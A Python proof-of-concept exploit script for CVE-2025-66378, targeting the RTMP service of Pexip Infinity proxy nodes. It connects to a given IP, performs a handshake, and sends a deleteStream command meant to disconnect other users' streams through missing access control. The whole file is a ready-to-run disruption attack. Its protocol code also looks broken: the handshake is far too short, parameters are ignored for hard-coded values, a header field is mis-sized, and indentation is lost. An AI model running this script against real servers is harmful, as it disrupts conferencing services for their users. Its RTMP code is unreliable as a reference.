# CVE-2025-66378 PoC - RTMP Stream Disconnection
# Target: Pexip Infinity Proxy Node
# Affected Versions: 38.0, 38.1
import socket
import struct
def create_rtmp_handshake():
"""Create RTMP handshake packet"""
timestamp = struct.pack('>I', 0)
zero = b'\x00' * 4
return timestamp + zero
def create_rtmp_connect(app_name):
"""Create RTMP connect command"""
command = b'\x02' # String type
command += bytes(f'connect', 'utf-8') + b'\x00'
command += b'\x00\x00\x00\x00\x00\x00\x00\x00' # Null
return command
def create_stream_disconnect_command(transaction_id, stream_id):
"""Create malicious stream disconnect command"""
command = b'\x02' # String type
command += bytes('deleteStream', 'utf-8') + b'\x00'
# AMF0 encode transaction ID
command += b'\x00\x40\x14\x00\x00\x00\x00\x00\x00' # Number: 5.0
# AMF0 encode stream ID
command += b'\x00\x40\x0f\x00\x00\x00\x00\x00\x00' # Number: stream_id
return command
def send_rtmp_packet(sock, chunk_stream_id, timestamp, message_type, message_stream_id, payload):
"""Send RTMP chunk"""
# Basic header
fmt = 0
csid = chunk_stream_id
first_byte = (fmt << 6) | csid
# Message header (type 0 for large header)
msg_header = struct.pack('>B', first_byte)
msg_header += struct.pack('>I', timestamp)[1:] # 3 bytes
msg_header += struct.pack('>I', len(payload))[1:] # 3 bytes
msg_header += struct.pack('>B', message_type)
msg_header += struct.pack('>I', message_stream_id)[1:] # 3 bytes (little endian)
sock.send(msg_header + payload)
def exploit_cve_2025_66378(target_ip, target_port=1935):
"""
Exploit for CVE-2025-66378
Insufficient access control in Pexip Infinity RTMP implementation
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
print(f"[*] Connected to {target_ip}:{target_port}")
# Step 1: RTMP Handshake - C0 + C1
sock.send(b'\x03') # C0
sock.send(create_rtmp_handshake()) # C1
print("[*] Sent RTMP handshake C0/C1")
# Step 2: Receive S0, S1, S2
sock.recv(1537)
sock.send(create_rtmp_handshake()) # C2
print("[*] Completed RTMP handshake")
# Step 3: Send connect command
connect_payload = create_rtmp_connect('pexip')
send_rtmp_packet(sock, 3, 0, 0x14, 0, connect_payload)
print("[*] Sent connect command")
# Step 4: Send malicious deleteStream command
# This exploits the lack of access control
disconnect_payload = create_stream_disconnect_command(2, 1)
send_rtmp_packet(sock, 3, 0, 0x14, 0, disconnect_payload)
print("[*] Sent malicious deleteStream command - attempting to disconnect streams")
print("[+] Exploit sent - target streams may be disconnected")
sock.close()
return True
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python cve-2025-66378.py <target_ip>")
sys.exit(1)
target = sys.argv[1]
exploit_cve_2025_66378(target)